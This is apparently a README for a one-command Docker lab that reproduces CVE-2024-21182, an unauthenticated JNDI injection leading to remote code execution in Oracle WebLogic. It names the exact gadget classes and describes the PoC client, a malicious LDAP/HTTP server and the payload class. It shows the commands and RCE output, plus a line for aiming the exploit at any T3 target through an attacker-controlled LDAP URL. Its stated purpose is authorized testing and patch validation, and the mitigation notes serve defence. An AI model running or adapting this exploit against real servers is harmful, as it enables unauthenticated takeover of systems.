
Reproducible Docker lab for CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI injection leading to unauthenticated RCE. One-command validate.sh for authorized security testing and patch validation.
A self-contained, one-command Docker lab to reproduce and validate the
Oracle WebLogic Server OpaqueReference JNDI-injection vulnerability family
(CVE-2024-21182, a patch bypass of CVE-2023-21839) and turn it into
unauthenticated remote code execution.
⚠️ For authorized security research, education, and patch validation only. See DISCLAIMER. Run it only against this lab or systems you own.
CVE-2024-21182 is an unauthenticated vulnerability in the Core component
of Oracle WebLogic Server, reachable over the T3 / IIOP protocols (default
port 7001). It allows an attacker to bind a crafted "reference" object into
the server's JNDI tree and trigger a server-side JNDI lookup against an
attacker-controlled URL — classic JNDI injection that escalates to RCE.
| CVE | CVE-2024-21182 |
| Product | Oracle WebLogic Server (Core) |
| Affected (per Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| Fixed in | Oracle October 2024 Critical Patch Update |
| Vector | Network, unauthenticated, T3/IIOP (port 7001) |
| CISA KEV | Yes (known exploited in the wild) |
| Class | Patch bypass of CVE-2023-21839 (OpaqueReference JNDI injection) |
A WebLogic reference object is resolved server-side during lookup() by an
ObjectFactory that performs a nested JNDI lookup against an attacker-supplied
URL:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← attacker-controlled, server-side
CVE-2023-21839 reached this via weblogic.jndi.internal.ForeignOpaqueReference,
which Oracle then guarded. CVE-2024-21182 bypasses that guard by reaching the
same foreign lookup through
weblogic.ejb.container.internal.AggregatableOpaqueReference, whose private
referent field is reflectively set to a
weblogic.application.naming.MessageDestinationReference.
This lab uses vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, bundled
JDK 1.8.0_151) because it is the only freely redistributable vulnerable
WebLogic image — the versions CVE-2024-21182 formally lists (12.2.1.4.0 /
14.1.1.0.0) require an Oracle license and cannot be published here.
Consequences, stated honestly:
OpaqueReference JNDI-injection → RCE
vulnerability class, exercised with the exact CVE-2024-21182 gadget classes
(AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (remote codebase class
loading). On modern JDKs the injection still fires (SSRF), but RCE requires a
gadget already on the WebLogic classpath instead of a remote codebase.Requirements: Docker + Docker Compose v2. ~3 GB image pull. On Apple Silicon the
image runs under linux/amd64 emulation (slower cold boot, 2–5 min).
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # waits for boot, fires the exploit, prints PASS/FAIL
Expected tail of ./validate.sh:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
Tear down:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (victim) server-side JNDI lookup returns Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
loads + instantiates → static{} runs `id`
poc/CVE_2024_21182.java — the T3 client. Builds the malicious
AggregatableOpaqueReference, bind()s it, then lookup()s to trigger
server-side resolution. Parameterized: <t3-host:port> <ldap-url>. It is
compiled inside the WebLogic container by validate.sh because the gadget
classes live in WebLogic's full module set (not the redistributable thin
client), so no Oracle jars are shipped here.exploit/ldap_server.py — minimal malicious LDAP server returning a JNDI
Reference plus an HTTP server hosting the factory class. Runs in the
attacker container, reachable from WebLogic by service name attacker.exploit/Exploit.java / Exploit.class — the payload factory (Java 8
bytecode). Its static initializer runs id / uname -a and writes the output
to /tmp/RCE_PROOF_CVE_2024_21182 inside the victim. Harmless by design — edit
it and run exploit/build.sh to change the command.The ClassCastException (Exploit cannot be cast to ObjectFactory) you will see
is expected and cosmetic — it occurs after the static initializer (the
payload) has already executed.
Point the PoC at any T3 endpoint you are authorized to test:
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false; you still have SSRF, and RCE may be possible via a
classpath gadget.weblogic.security.net.ConnectionFilterImpl) and host firewalls.com.sun.jndi.ldap.object.trustURLCodebase=false (default on
current JDKs); breaks the remote-codebase RCE leg (not the injection leg).bind of
*OpaqueReference types.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference family)